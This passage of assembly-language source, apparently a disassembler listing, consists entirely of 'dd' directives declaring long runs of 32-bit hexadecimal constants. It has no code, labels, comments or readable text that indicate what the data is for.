		dd 9D3DF045h, 6B5E5F1h,	499247BDh, 0A4F458A9h, 2ABAE961h
		dd 0CCD0219Dh, 0E1958478h, 25484E09h, 29BE000Ah, 0B7180162h
		dd 8B752409h, 251454B3h, 7CE6B4C0h, 909BE697h, 0A90E623Dh
		dd 9AF6761Eh, 0A0D57CAFh, 763AE0B8h, 9E92C06h, 6DF7A5D6h
		dd 4BB12072h, 46444466h, 1BA138Fh, 0AA2BBDE0h, 5590F102h
		dd 1251F883h, 0AA3754Eh, 0CBC0DB2Dh, 8D70C380h,	25C4E8E7h
		dd 0EC95792h, 0F61E2950h, 6850D042h, 0E59D4070h, 8F0B2D94h
		dd 12527307h, 67546D0h,	970F5756h, 0EE95BF70h, 0DE4228Ah
		dd 5F8B4338h, 83B162FBh, 1F206801h, 935429B4h, 12E15D16h
		dd 4010633Ah, 621FAAF9h, 1B892E33h, 4B7C5373h, 6701B155h
		dd 4B764A32h, 0BD62007Fh, 18B158F5h, 1A5BB807h,	33F2FDE3h
		dd 29C7D50Eh, 507CD425h, 0FEABAAA9h, 41C09E01h,	3558730Fh
		dd 0BE5D0640h, 422E1320h, 5010FE1Ah, 7E7705A1h,	18AA65CAh
		dd 0EB810629h, 9BE90BA0h, 76598995h, 0E868D08Bh, 0E4F8654Ah
		dd 7359C2B4h, 46DAC11Bh, 0C8FE0854h, 8C13C320h,	1B166030h
		dd 888397B5h, 6B3A851Ch, 3E9F22D9h, 62B2EC41h, 84351870h
		dd 207EAF00h, 0C3A61A1h, 30A046FEh, 5E63EA02h, 0BACA88BCh
		dd 0FBC4785Ah, 0A360136Fh, 31BFD70Ch, 7F5CE79Eh, 303A297Dh
		dd 0E1F8E933h, 0C08F7CBFh, 0C9BBB9B8h, 0E9E3E050h, 26447C0Ch
		dd 0B46D0C29h, 22712F8Bh, 8CC25244h, 41335EA9h,	6C3E4468h
		dd 6C90DE0Fh, 4834BE03h, 0E2D1339Eh, 6F113658h,	33178F8Bh
		dd 3B2C21AFh, 64AF2AC2h, 0D246E221h, 4EC1D5A0h,	7FA7B46Dh
		dd 1E8182Eh, 27A9F700h,	528938BCh, 0D218F2FBh, 0FDBE815Dh
		dd 293DB074h, 65E44AEEh, 0BF04D65Eh, 0DF529AC3h, 2E04C908h
		dd 686E8C6Ch, 96779538h, 7035A0Bh, 0B5442FBAh, 6F4003ECh
		dd 0A3704A27h, 15281341h, 3226AEBDh, 580917DAh,	0C8266518h
		dd 0C9F0ADA6h, 4F306040h, 0E2DFBD8h, 516E983Fh,	0A0B75301h
		dd 0FD3032B5h, 0C0DBEC2Ah, 5208E5C0h, 0F6EE1D88h, 5AF501D6h
		dd 2646AD68h, 17B617DBh, 905AD98Ch, 0B1E3275Ch,	509474Eh
		dd 5EEA7FF9h, 0E3F2CB7h, 0FA1202BCh, 0C15A29F7h, 6A5B8A2Dh
		dd 44C465B8h, 4CD4E242h, 735B10BBh, 6003292Ch, 6A5D22B5h
		dd 0CD055800h, 0E961DB3Dh, 0A075BAF9h, 974CC006h, 0ED1316C5h
		dd 0D666F4BDh, 4B72E62h, 7EB896E6h, 6F28016h, 358A1D29h
		dd 0A2ADEB5Ah, 5A2FA84Fh, 8930AFA9h, 955DE9D2h,	89C3E3CBh
		dd 71213F4h, 3E0ADE3Ah,	58C16F2Eh, 3E42D657h, 8062BB5h
		dd 5914811Ch, 417E42A7h, 0AB92992h, 9099E985h, 30ACB47Ah
		dd 20A8CC5Ch, 0DAF62806h, 80EE0EF6h, 0EF667CE7h, 0F92F06B4h
		dd 7287D530h, 5DEAF227h, 0F57F0B55h, 0C479B546h, 7A3D5F81h
		dd 31837285h, 67DF94h, 0B16E8BDh, 448107F8h, 0D29D6D46h
		dd 82E9126Eh, 53B6FAF6h, 71D92B7Bh, 616806FAh, 20251D1Eh
		dd 1109C87Dh, 7C8880A4h, 0D8C244Ah, 0D8E8410Bh,	4E4BDE68h
		dd 64E6AF30h, 0E95A0872h, 51163098h, 0BA529E70h, 336D17A0h
		dd 0CFFF0817h, 46EC5C17h, 0F7DA8706h, 681808D3h, 0ED9B440Ch
		dd 205F8189h, 40500E2Fh
		dd 859DE054h, 0D0A25E2Ch, 2020626h, 528D698Bh, 18BD8081h
		dd 39730DEh, 89BEA04Dh,	343EFD34h, 8197D9EBh, 74ACE517h
		dd 0F5D839F3h, 0F421134Eh, 0EDC1FB0Fh, 1833AF84h, 0C3C7B45Eh
		dd 0B003D102h, 4866E97Ch, 97C60118h, 0F569F6FEh, 852FCCA3h
		dd 0E6354400h, 68298440h, 0ED3F4F6Ch, 66118190h, 5AD93AC4h
		dd 0E401B86Bh, 848DE2FEh, 0B8BA871Bh, 5988C4FAh, 0C41E9910h
		dd 0EBA39395h, 913E2CBh, 2DFACDEh, 0EF70ED18h, 478BFC29h
		dd 957885E9h, 1604FB9Eh, 530FA794h, 0EDB706C5h,	461925EAh
		dd 5AA1B0A7h, 0F9144965h, 5A16CED8h, 3CFDF021h,	0F3E8BC89h
		dd 0D1957955h, 0BFA4C9F1h, 8C65AB68h, 0AC105B1Fh, 6C26631h
		dd 0F5CDE8C4h, 43B1FEB5h, 0BA849B44h, 0E9E0FAE9h, 7FE11CAAh
		dd 2681E7A2h, 70156C54h, 0B9813B62h, 0E550C932h, 0B826A048h
		dd 0D55E2DE6h, 0D8A7BF73h, 12D62099h, 56D83117h, 6E8656FDh
		dd 0B117B46Bh, 12BB281Dh, 1CF2AF35h, 67F68080h,	7E4E40E9h
		dd 0B7853EF8h, 71CA21DAh, 2EBF00A3h, 7E292F52h,	580139D0h
		dd 0E90C8710h, 0C3DCF8Ch, 1CAA0B26h, 0C0E18040h, 4969AA22h
		dd 0F6004690h, 2920D321h, 0BEF5E9D9h, 0B252013Bh, 60D43093h
		dd 0FFAA84F7h, 25833DE0h, 5D67E112h, 1807A310h,	51505E5Ah
		dd 392C1238h, 208AEB29h, 4B806809h, 0DB889051h,	0D9BB01F2h
		dd 6A6B6561h, 2F37F6E0h, 41D04F0Ah, 71246771h, 2902C719h
		dd 5F391726h, 0D90955DCh, 0D175A7CCh, 874CDE2Eh, 43596D9Fh
		dd 0A2542D60h, 89CBE9B5h, 0A7D357E7h, 0D4B5D322h, 1AE978EFh
		dd 5CBD7070h, 0D7F76096h, 3B4CBD55h, 2C382C59h,	0E84E7F10h
		dd 50E7B2E3h, 4B309052h, 4BA8E005h, 0D8A0DAC1h,	0BD2EF713h
		dd 0ADAAC5FBh, 7BFDF6EAh, 3AA62327h, 0BFC100BEh, 0C236FB1Bh
		dd 8725E963h, 0D69D0444h, 60F53DC3h, 59EE3F80h,	0D0177D01h
		dd 4964F329h, 2F9DF3EAh, 5CE009DAh, 5746E238h, 0C957515Dh
		dd 255EC5D5h, 0B252C575h, 103DF92h, 0D732A2CAh,	62DD8789h
		dd 0E69BC10Fh, 654D07CEh, 0C7D4AA15h, 0EE098CECh, 0E3854629h
		dd 4F93BDA6h, 0A886B0ACh, 0EF75EFFBh, 89892250h, 0F65FF82Dh
		dd 18DF2F7Ch, 9F68ABBEh, 0A3096766h, 369B187h, 0A262B9FEh
		dd 0E5E7D832h, 0B3E90840h, 49492B5h, 8D6F9DBAh,	0D66C234h
		dd 72920851h, 5ABEE240h, 25E266Fh, 41DCE681h, 5044696Dh
		dd 0D16BA025h, 10D7AF74h, 0BE2E8ECEh, 85CA6D4h,	0A220CCC5h
		dd 0F383AA71h, 58C7FAD6h, 0EC50671Eh, 0A0554551h, 7D03054Eh
		dd 0F7472834h, 0E4045BDFh, 640CC704h, 0C356C6Dh, 620A12C8h
		dd 7307BBA2h, 0D7091B65h, 5726B445h, 4D8C6D02h,	0E92CC095h
		dd 1BF94BDh, 1E5FAA25h,	97CCE801h, 2EB8596h, 0FDB85903h
		dd 0B48EF853h, 2DFE1786h, 5682026Dh, 0FDB4EB0Eh, 0A9908683h
		dd 5AEE4525h, 5CE9335h,	0BE393BE9h, 5AE00728h, 561CCA6h
		dd 46418A06h, 4F580128h, 8102F4B8h, 5148ED02h, 0DC2165E5h
		dd 817F5AADh, 26B56830h, 35C56F2Ch, 0D67CB93Fh,	5878B304h
		dd 4C3B107h, 0ECB282CBh, 53C97D0Dh, 7B575D02h, 1FF22584h
		dd 237CD836h, 985F5F57h, 0EA800CD2h, 58B29F7Bh,	0E98933F9h
		dd 903658FFh, 14534C91h, 0DD10FD04h, 7168018h, 0E74A22EFh
		dd 0AD3388EFh, 0D144A75Ah, 4AA466F8h, 0E1F4B734h, 6917B05Ch
		dd 0F37738F4h, 5A7FBFF8h, 3A47CFBBh, 31EADE35h,	2B52D7DBh
		dd 7110E041h, 5C600B22h, 0EB45C08Ah, 0F41FA85Ah, 3E00FAB0h
		dd 835D7B4Bh, 3501E8h, 202B5B58h, 0E050AE05h, 0E529F628h
		dd 2802BE4Eh, 480B9368h, 0C0C4E817h, 0A12ABA54h, 292D7901h
		dd 844A45F2h, 0B9AD54E9h, 0B7D212D4h, 18AF9B3h,	2AA709FCh
		dd 0D5E90F7Eh, 29908E72h, 0CC57080Bh, 9403853Fh, 85CDAB41h
		dd 40F62635h, 25B5E44Eh, 7D79C510h, 72EEBFB9h, 2749B10Fh
		dd 685B873Ah, 27A52606h, 5FF47A5Ch, 0C0537178h,	0D4DC769h
		dd 872D5238h, 175384EFh, 711B3A87h, 0D0094401h,	59A7253Bh
		dd 1089A658h, 0BF789299h, 90027309h, 36413AAAh,	51F07B4Eh
		dd 0E9CF1609h, 0A2CDEEDEh, 0D710AE69h, 595B1D4Fh, 0FF6533DAh
		dd 12D75E5h, 79C26832h,	0DE103576h, 285909B3h, 0A6C584E3h
		dd 2B5A5807h, 0E10825Dh, 0B65B049Eh, 95FE14BCh,	486381C5h
		dd 228075D5h, 39D2139Ch, 0F35E9AE9h, 90D0D2D1h,	0D2DFD03Ch
		dd 0BBA8C5CAh, 8AFC212Dh, 93E39478h, 9817BB9Bh,	0AC5E3ECCh
		dd 0DFD09DCDh, 72E97CB5h, 7B88575Eh, 7CD02753h,	0ECE3C32h
		dd 15A89042h, 357B160h,	6BBB23C7h, 1D53D206h, 240C7EABh
		dd 164EF047h, 0C080BB31h, 0B70829C4h, 0F5C17000h, 6FF355AEh
		dd 3A34818Eh, 1BC7EB83h, 372F183h, 32A2BE1Ah, 9DD27BDDh
		dd 2EFEB5CAh, 0A3E68252h, 202E5A4Eh, 0F095496Bh, 93595FB7h
		dd 75F2FA45h, 283B9AD0h, 9C9193C8h, 0FC425AFh, 0C141587Fh
		dd 0A5F789F4h, 0AC0C5C34h, 0C95CAF31h, 0A6ECE985h, 0D68FC8Ch
		dd 1002D9F3h, 59BD2F9Fh, 0EF5E6013h, 7F27F531h,	2240F602h
		dd 6082D4BEh, 2E4F858Ah, 5A7A0AFDh, 0BD6294CAh,	93BDE363h
		dd 5EB2EFE9h, 6815104Eh, 70AA78F1h, 18997F4Bh, 7A8B053Eh
		dd 0E8DDAB2Eh, 2057A92Ah, 5CB80785h, 0A6154B67h, 7EB772EBh
		dd 26E9D02Ch, 9232054Ah, 0FFC48657h, 0C009517Bh, 95CCF321h
		dd 0C28B4883h, 1A508705h, 6194AB71h, 22440817h,	0A3B46186h
		dd 7D6E16BEh, 0E684AE6Ch, 0C559080Bh, 5C5D8D7Fh, 0F3456011h
		dd 0CFB6604Eh, 8C00D559h, 0E90E780Ah, 0EE959403h, 0C9801C69h
		dd 28C1C138h, 11612268h, 0B70176EDh, 7AF83CC6h,	0CD12745Eh
		dd 4FF704A0h, 0D5A446Bh, 8B5DAF67h, 4A966F04h, 0A0CA380h
		dd 10513C5h, 1F428AD0h,	0DC40E335h, 319D0525h, 9149500Bh
		dd 5B6D04AEh, 0E1A4E913h, 0B8F07E4Ch, 2B2F13BBh, 42910021h
		dd 0E933CF2Ah, 1C121127h, 5189B772h, 7F342BFFh,	0F72F52EDh
		dd 8EC12CBAh, 0D7590242h, 0AF64FFAh, 14FC5C4Ah,	6C81B1h
		dd 17AA3B1Eh, 8553E927h, 0E081121Fh, 3025D10Ch,	0E32DCF5h
		dd 0C567D8E5h, 0A2ED60B2h, 8D99EA28h, 72BD840Bh, 64A417FAh
		dd 0A400BA76h, 6FD02A79h, 3AFA9745h, 30636E06h,	5D365667h
		dd 770CB19h, 0CD8058E5h, 1CF531EBh, 0D1C83F30h,	6175410Ch
		dd 29C5DD5Eh, 65FE2E8Fh, 220F243h, 251DBF22h, 0C8773663h
		dd 3B0449BDh, 0CF056FDCh, 1F06672Ch, 8FD1C0B9h,	0C1E91F3Fh
		dd 67BF755Eh, 0A86CB545h, 9190784Dh, 745992F0h,	0C509123Ch
		dd 0FE85D616h, 0DF16C3ECh, 0F1654379h, 85AD6F7h, 771C9BA6h
		dd 0E94E8F7Ah, 3B3B6F4Dh, 0EF2B31B1h, 54084E65h, 9F82062h
		dd 0F59D8B5h, 2E65EDC0h, 0C61AC69Dh, 0A0D3022h,	0C31EB1Eh
		dd 1BB7299Eh, 2568118Fh, 32D10CBAh, 0D028C55Dh,	0F895C12Bh
		dd 2034BA70h, 87A0396Bh, 2A71439Eh, 4EE4248h, 158D4BC2h
		dd 238A2EFh, 976DD3Eh, 2955E189h, 5363413Bh, 72D481E9h
		dd 84F772Fh, 0CEBB8317h, 500510D0h, 53D00178h, 0E7804FB7h
		dd 0DDF47B15h, 0A0B8308h, 56B55107h, 28EE0F0Dh,	651BE962h
		dd 4968F9DFh, 4B3EF953h, 0FB2F1BF5h, 0DA6F3C39h, 0CD7F1603h
		dd 52242CFEh, 6B3AEF90h, 0BA68814Eh, 97ADB199h,	13BEAC3Ah
		dd 0BF81821h, 43B5B7B4h, 0D8E90948h, 6F98F51Eh,	0C7C068BCh
		dd 0D3255DE8h, 73E21333h, 6C02EF40h, 72F929E9h,	60620890h
		dd 519D0E80h, 92B2C11Dh, 2D0AF458h, 4D3D19D3h, 78EF4B95h
		dd 544BAD03h, 0E16152C8h
		dd 0F411BC2Fh, 56A98C03h, 0F5688802h, 0E349BD5Ah, 73F7C224h
		dd 0BB5AE489h, 27E9BAE4h, 0A168A5D2h, 6D240A84h, 93B6E0Eh
		dd 57685B49h, 348647Ah,	0E69A0401h, 9B821EDEh, 0FF6646Dh
		dd 17C10C0Eh, 0AA7F0265h, 6C8990F5h, 2D790542h,	6BB47E2Dh
		dd 5015173h, 1F8D0E33h,	6C70E12Ah, 3064C3BFh, 0C1EFD553h
		dd 3AF2EFBEh, 0C13F738Ah, 0C3D0BC82h, 14E4CB89h, 48E95712h
		dd 398007A0h, 0C39E44EBh, 97D6CA78h, 3A570060h,	0D8F747C1h
		dd 26BD5500h, 0E98B9EDCh, 150B9F14h, 328C0956h,	90EB7DA7h
		dd 0EE053E07h, 1C1023CCh, 4D406729h, 811363C0h,	460309CDh
		dd 0E3803CFDh, 169B7C77h, 95FAE918h, 14AC249h, 5344915Eh
		dd 517B7D68h, 826711CDh, 6F87C623h, 90B7C0C1h, 0FB35804Eh
		dd 287A4C78h, 47C2CA4Bh, 0C1F1425Ch, 0D2BB42Ch,	734263AFh
		dd 40CD585h, 738D25F9h,	74F469FFh, 0A49FE0C6h, 7882C6D2h
		dd 0FE4968F2h, 5C739F18h, 490990A0h, 5F4A9E7Eh,	8827078h
		dd 59E23762h, 864DA3F5h, 68102751h, 4D948770h, 0DA1B56A7h
		dd 278DBC5Fh, 8D19762Ch, 3F176E9Dh, 0E9132A8Fh,	7BF7B1C2h
		dd 0EB5EE08Eh, 1352CB08h, 0DFE6FD01h, 71589B89h, 0EC5545EFh
		dd 66F1D24Eh, 0FC132520h, 18C1BD54h, 33F6301h, 0A368C80Fh
		dd 8097253Fh, 0F6B91860h, 6D8D7E0Fh, 56C66649h,	18BD0588h
		dd 0C019DF79h, 0A72FF50Ch, 140B3F5Ch, 1384E5C1h, 0E1B85425h
		dd 0CB39E3E7h, 58C1CF12h, 0CAA86E16h, 83FDD889h, 0C1535597h
		dd 7A61D7F7h, 0C0679AD0h, 0A164C70Ah, 6967D9E9h, 194744h
		dd 0E8372FEEh, 4A49FA15h, 96E7B318h, 0B300A48Dh, 0B324CC6h
		dd 87E92DB7h, 12B50958h, 0A0D758F1h, 1D31A92Eh,	4457DDBh
		dd 0E07EE9FDh, 6DF6BE5Bh, 7C4B974Ch, 80A1DEB5h,	2BC042F3h
		dd 0DF25684Fh, 7D3E64Eh, 3627CD01h, 8990DB31h, 0F4BF59D0h
		dd 0B1514272h, 0B11AB784h, 6DA82A2Dh, 0F959CE16h, 69E9E0DCh
		dd 0E1FFC044h, 0CA14D9Eh, 807DF1ECh, 50DFDAF5h,	21F845A4h
		dd 0BEC3920h, 0DF3825EDh, 57617002h, 561F8008h,	81217B01h
		dd 47D8C2E5h, 0B22EC036h, 45380D46h, 0F740A8B0h, 0C8EF5001h
		dd 162A035Dh, 58BE5673h, 2A706CB1h, 4072C9A0h, 0C858B5F5h
		dd 0D0A325FAh, 0CBFE3F1Ah, 0BE4D8D93h, 2BEE0D31h, 44C7892Eh
		dd 0B1B1BE7Ch, 44F6A02Bh, 2DEE684Fh, 85F52F7Bh,	0BD22FE8h
		dd 8DE6E977h, 0D2DD4C5Dh, 0A930AA07h, 81104AE9h, 0DE854157h
		dd 0E8AA0475h, 6C0042Bh, 8BC20830h, 5F54EA34h, 0ADB6001Ch
		dd 280BE5EAh, 0C7D254BBh, 4EBC38D3h, 0CE040A99h, 0F65F5BE8h
		dd 666013B4h, 81981935h, 38850B68h, 4757507Ch, 0FFF125BBh
		dd 0D9F362h, 912534BAh,	0DA292117h, 641660E7h, 0E455FC7Ah
		dd 13AE90AAh, 742F3061h, 43DE9A5Bh, 81EAD5h, 0EE01D3BBh
		dd 0C8F7063Ah, 3A00752Eh, 0EB096D2Ch, 95EC84E9h, 0D05DF892h
		dd 0B5D8976Ch, 812D38B5h, 15D80AE3h, 2CC2730h, 0B12DD1Bh
		dd 8BA009FDh, 0C9DCF416h, 69A9B880h, 0C1030B3Ah, 0BF5705E8h
		dd 70A3A011h, 0C0894AE9h, 4B40B868h, 7727EB2Fh,	0DDEFA380h
		dd 460A95Ch, 4F5FEEB2h,	0ADD29F6Ah, 0B22DF68h, 17C7283Bh
		dd 3B15AFD3h, 2DE85FA6h, 6231C816h, 0CFE776Fh, 0F5966803h
		dd 9ACBB4EEh, 1E880500h, 0E8293726h, 1B4FB8C7h,	0E7CF024Bh
		dd 0F8FF4208h, 0B8C0927h, 0BBFE3EA5h, 0E3209E20h, 372D0006h
		dd 4867FD74h, 0AF09B035h, 0F8898C71h, 20915F0Ch, 5975A7DDh
		dd 0E4682F09h, 60A0D638h, 0FBFA76F4h, 704B49B0h, 0F1067AF2h
		dd 50C6860Dh, 0F83178C1h, 0B97E67E9h, 4A4F1DB5h, 77095B93h
		dd 119590D9h, 22F5286Fh, 0DF3507A1h, 0BF2DBBD5h, 1395180h
		dd 7A205F8h, 8BCBC055h,	0F23FC0D7h, 63F32B38h, 0A596AAF6h
		dd 5BFD8800h, 7CED8058h, 8B86EFFh, 0EB285AA5h, 0FE77CDB0h
		dd 0C2E85EC5h, 6054A446h, 928BDA39h, 3E2D6607h,	94054127h
		dd 5F6AAD6Ch, 8F688038h, 8D32344Fh, 7D7B77DCh, 802C42A5h
		dd 8D633E55h, 5B6C900Dh, 0F5A6B8F4h, 4EA2A6AEh,	4B08F0C8h
		dd 0C7872861h, 6F60DBB0h, 407FF351h, 4867608Ch,	0FEF6D822h
		dd 5B73B0B0h, 0D2D04Ch,	382C02D7h, 9F4D5EE9h, 572DFE5Bh
		dd 0F955911Ah, 45754BC5h, 322A0A1Fh, 65FD8B89h,	4D60ABD4h
		dd 987DD572h, 1A4169D9h, 2595A2DFh, 0C4AED44Fh,	0E1FCAE2Eh
		dd 2AF198CBh, 4660A8A8h, 0EE685A33h, 0C117AB2Eh, 5DC20769h
		dd 0B4E0EB51h, 26DCF69Fh, 3CC9B252h, 0BED000CEh, 738F7BE1h
		dd 9F7BD09Fh, 857E534Ah, 4E359E5h, 56042D48h, 91BCBDE9h
		dd 543078E3h, 2CDD0048h, 0BB1E7116h, 4079C626h,	62B83112h
		dd 0F57CEA5Eh, 182362C8h, 58FD5859h, 537BE507h,	0BF3C019Ch
		dd 7027C023h, 619A4C18h, 9DFEBD05h, 0B1C53191h,	0C03784EAh
		dd 0D653E5C5h, 1FE90B09h, 40A410D5h, 0F6F490F7h, 177760B9h
		dd 0AD59C5EFh, 5C014425h, 13E7CA8Dh, 0FCC88902h, 655D7321h
		dd 75F060E7h, 4E19BF68h, 6D68F04Dh, 0DB0E6612h,	40398FB4h
		dd 0AA9C887Dh, 28287408h, 8DBA0983h, 6AF5C33Ah,	0BE786164h
		dd 1BBD6800h, 36B5EEA6h, 45595EA8h, 14F8E05h, 35692975h
		dd 97E2D873h, 7ADA3418h, 5242818h, 5E93B8Fh, 9B22BB38h
		dd 4AAE7021h, 991A81EDh, 73C504D4h, 78324283h, 2FF18A09h
		dd 1D5008h, 2A18CFBDh, 0CD038119h, 6D97C44h, 129A24D1h
		dd 0E380BB2Fh, 0EECB8143h, 106AD373h, 0CD34CB12h, 0EE46C4EAh
		dd 27C0CA9h, 0E9D6E22Fh, 0BBEAE5D8h, 41C027DDh,	856603F2h
		dd 6E828ED3h, 0C562FF56h, 3A16EAC1h, 5CB05692h,	0F7910906h
		dd 2D8907A0h, 0BD9C6AEAh, 17F39030h, 0CF4912B2h, 0D852EB05h
		dd 4C0C2116h, 975B3EB9h, 51D2E941h, 75158D0h, 5A673EA2h
		dd 0A8AD0FC8h, 8777FEB5h, 78E11BA5h, 7E913A2Ah,	2C2E5FFDh
		dd 7464992Ah, 0F8BB8F5Bh, 520DC92Fh, 0ADC902B9h, 494E3670h
		dd 0A714C37Dh, 1AA9E1B0h, 8B7650D5h, 82B6138Ch,	19AC55Ah
		dd 0EC48D452h, 2B047E10h, 6FEC2153h, 0A0B5B9D7h, 0B14081E9h
		dd 0B52A9E0h, 0A1D42B30h, 8850E751h, 79FE62B1h,	0BDA4EC1h
		dd 85D55AAFh, 0E7EA32DEh, 662E7BA0h, 5B42AD0Ch,	0CD7C755Eh
		dd 0A0C8BEC3h, 0F13FB268h, 4A4B8A48h, 0D4CBEC46h, 2C4B9F90h
		dd 0B17F9EAh, 655403ACh, 96653661h, 1A4C26Eh, 89BA5220h
		dd 25C1057Fh, 8C73ACE9h, 6C32680Bh, 0FCB1AB62h,	8766174Ah
		dd 0ED884B5Fh, 0BA11A507h, 0C8913A02h, 5DC2796Fh, 0E870B5DEh
		dd 73349445h, 2BFECBF1h, 0B046E045h, 60B8B6EBh,	3D69B2B6h
		dd 48E97751h, 0EB93421Eh, 7BA4C484h, 334D543Fh,	0EA628283h
		dd 85354F7Dh, 9821C668h, 4F9EFE4Fh, 4089471Fh, 8DC5F17Dh
		dd 2E66C6B9h, 60476AA4h, 45BEC15Ah, 4F4C9E4Bh, 674002E2h
		dd 0E2572FA6h, 954258D8h, 8439DB54h, 86E4EDFh, 8411DB9h
		dd 1DEAF240h, 0D10B0137h, 9BE947E7h, 90A37EB7h,	58D7A589h
		dd 0C80A89E5h, 57BD0F7Fh, 0FA249E60h, 94C05F4Dh, 21BC12EFh
		dd 1C3AB6D6h, 665E7240h, 0DE9866E6h, 0DB9D9AB8h, 0F4562F09h
		dd 0D78BCC09h, 0F8A4631Bh, 7CF71756h, 5B351783h, 0E951A00Dh
		dd 0F7DDAF2Fh, 0E918503Eh, 0E2873D86h, 0AE06D002h, 0AE6DBF13h
		dd 0CB60086Dh, 5FDBB5A9h, 0B1955194h, 5802906Fh, 0A5A1DC75h
		dd 7D691EF4h, 0FBFC2A2Fh, 57B5C998h, 7D163CF6h,	8CAD1155h
		dd 94A43004h, 7B10B883h, 6E9DD09h, 48875432h, 11EF0CF9h
		dd 859F5E12h, 0CCBF2E57h
		dd 0CC09880Ah, 441C1468h, 0F8E6F431h, 0F85A4EF3h, 49E9E8E9h
		dd 0FD5E3F31h, 5EDB0419h, 0D2847970h, 92C1F2FEh, 2E68E5B4h
		dd 0C2E7095Ah, 96A257D6h, 0FBF74C73h, 440142CEh, 0F6EA8800h
		dd 0A960E9D2h, 2E500C0h, 0E9C9F580h, 54BDD105h,	0FF55C461h
		dd 0B3920DB7h, 0A768C3B7h, 809F2F2Bh, 0E3D858EBh, 6BFFB840h
		dd 2F974C00h, 5F72E52h,	0E9D987D1h, 4FB7B814h, 365104A3h
		dd 2D27067Ch, 0F5A591D6h, 7FC0C3EAh, 3F25147Ch,	0D1EAD707h
		dd 7948015Fh, 1F2ACC12h, 727D9C0Bh, 5963C1BBh, 98D5F7C9h
		dd 88465208h, 58EE0B7Dh, 91F7C289h, 51DD80D5h, 4EE8D3F9h
		dd 2EEBA98h, 306012FEh,	5677C721h, 16FFA73Dh, 959AD585h
		dd 2583E03Ah, 6C5F39B6h, 50F518E9h, 5859CBCCh, 3E5C2C58h
		dd 0A8849F64h, 0D45B257Fh, 165D6BB9h, 2E75959Ah, 9F0879h
		dd 579BE381h, 20B8560Bh, 0B3274C01h, 6FBAE91Eh,	7C04B7Bh
		dd 0D22DF0D3h, 4CBC0914h, 2F583CF8h, 7518E57Eh,	0B30C5208h
		dd 0B0604F46h, 471633A6h, 0B01E41D5h, 252CE6AFh, 2CF9665Ah
		dd 0EBBF159Bh, 20A8E4Ch, 7144A7B9h, 825F0948h, 0C010736Bh
		dd 132E0563h, 0B11A5ADBh, 12116C43h, 0A3EA4C64h, 1B58E8h
		dd 54BB743Bh, 2E2F3032h, 10D7C331h, 0F7810209h,	75EF6BFAh
		dd 16F1326Bh, 78376365h, 0EA96B42Dh, 7FD87725h,	5AB57290h
		dd 8D74BDEAh, 8300574Ah, 0E9152544h, 0E98E546Ah, 0E8025BEEh
		dd 4BAA100Eh, 1E061465h, 0BC3A04DBh, 7042C032h,	0B608407h
		dd 0E8785C0Ch, 223B072h, 3995AFA5h, 705EF029h, 904094A0h
		dd 413D259h, 12A66FCCh,	0F56B21E5h, 214B2E43h, 976D788Ch
		dd 6708DCC5h, 4BEF20DDh, 4846B8AEh, 76B820F4h, 0EB935F53h
		dd 0B4ECDD31h, 0E7F40104h, 20394E26h, 100CB200h, 0E4D4983h
		dd 385013D3h, 0BA0B0933h, 0F41C4F84h, 0D80C7C8h, 1C1DF65Bh
		dd 2534D9E9h, 0D1D2BA57h, 90B6B003h, 5B515374h,	842A0FDh
		dd 27DC59B5h, 0A84FED55h, 0C597A40Eh, 0C03CBD50h, 89DFE993h
		dd 530017D3h, 51496843h, 72595C5Eh, 0F0015FB0h,	128DCCB7h
		dd 0A3228E68h, 4A27004Ch, 0CE811032h, 6D9CA102h, 87DEEA47h
		dd 0C6821C1Fh, 0E0665767h, 172A5359h, 7A70C731h, 0C6634EEh
		dd 0FE2936A9h, 5626CCC6h, 19097532h, 93ECF171h,	15EC2128h
		dd 10560741h, 602D050Bh, 0C1E038A8h, 7F7923BEh,	0D1BD3889h
		dd 2CC93A98h, 0A973EC80h, 283C13B8h, 0CBC13AE1h, 59A655B0h
		dd 680BBFA5h, 0CBE60116h, 0C409F390h, 8E3DB439h, 0E25E09ACh
		dd 24795D0Dh, 0A40C342h, 2493789h, 0FAD5F731h, 0F6BA2D7Ch
		dd 53EE0AFEh, 0A28F93AAh, 0BCE0435Bh, 0D21C180Eh, 7C3D0C17h
		dd 7E790F25h, 0D008A03Ch, 5802140Ch, 28E95251h,	7940E7FEh
		dd 0BD53FA5Bh, 0DFD41741h, 742DABA5h, 18DE47Bh,	0A90CC89Fh
		dd 6C222734h, 8A033F4h,	8B57E91Ah, 0EA80DD60h, 18060B0Fh
		dd 0C7285595h, 655E0CC8h, 87275DCBh, 2F0ADB0Ch,	80F54BBAh
		dd 997701DDh, 0D0C8BD1Fh, 0E6974758h, 8F1355BFh, 0E49BD76Ah
		dd 6F0D00EBh, 4C75D517h, 6072A340h, 8A2D08D8h, 881908C0h
		dd 6194C601h, 5F173C2Eh, 0EB2D0690h, 2823480Bh,	0D193D6Ch
		dd 2CF21D90h, 133CDF91h, 59E3F89Ah, 95E5538Bh, 5B1AE906h
		dd 744600A9h, 0B50579C8h, 0A4B41408h, 99061C2Dh, 91E5AD57h
		dd 20525A89h, 25344A50h, 92A0990Bh, 0EA8653E7h,	1F273420h
		dd 0FC295B11h, 7D4D1205h, 0E940A38Eh, 0F8A85FE9h, 9568C099h
		dd 7E4B5E67h, 13B64B5Dh, 9A01F017h, 60FF584Fh, 7A8A0D9Ah
		dd 0A767058h, 0E63E7B80h, 0F57DC90Bh, 0DAC9F14h, 30D03139h
		dd 1FE908C2h, 38DD95E7h, 0B254501Dh, 57E78117h,	0BB048139h
		dd 0AB853386h, 7ED9704Bh, 80D54886h, 2D40CA81h,	86905E45h
		dd 0C5381819h, 67250348h, 0E1FEC642h, 9DAA2C2h,	8701B805h
		dd 49119126h, 0E2C520E4h, 56594704h, 810EB29h, 342D664Ch
		dd 0B5F072E4h, 52BB9C5Bh, 859A163Eh, 3A1C2D52h,	0C7E7CABCh
		dd 0D0BFD5E9h, 9763F8C5h, 0BD2F137Ah, 3D54C6E4h, 0F69807EFh
		dd 0FCCDEDF1h, 4E285218h, 167A0354h, 4A895632h,	0AC9D759h
		dd 0A422ED7Bh, 7D2F3D2Ch, 2A05F441h, 702D18E4h,	7F462785h
		dd 782DE58h, 0C0D13440h, 5E928491h, 0C280A6EFh,	7655BEE9h
		dd 2032851Fh, 0ED0DC0D8h, 0FE27730Ch, 0E9ECE08Dh, 0B7A4BA80h
		dd 57501768h, 5879BF1Ch, 0CF814F80h, 65EE709Ah,	0AE03FA62h
		dd 26BD32F0h, 15F1C11h,	0EE1959C7h, 4A273857h, 552CFFE8h
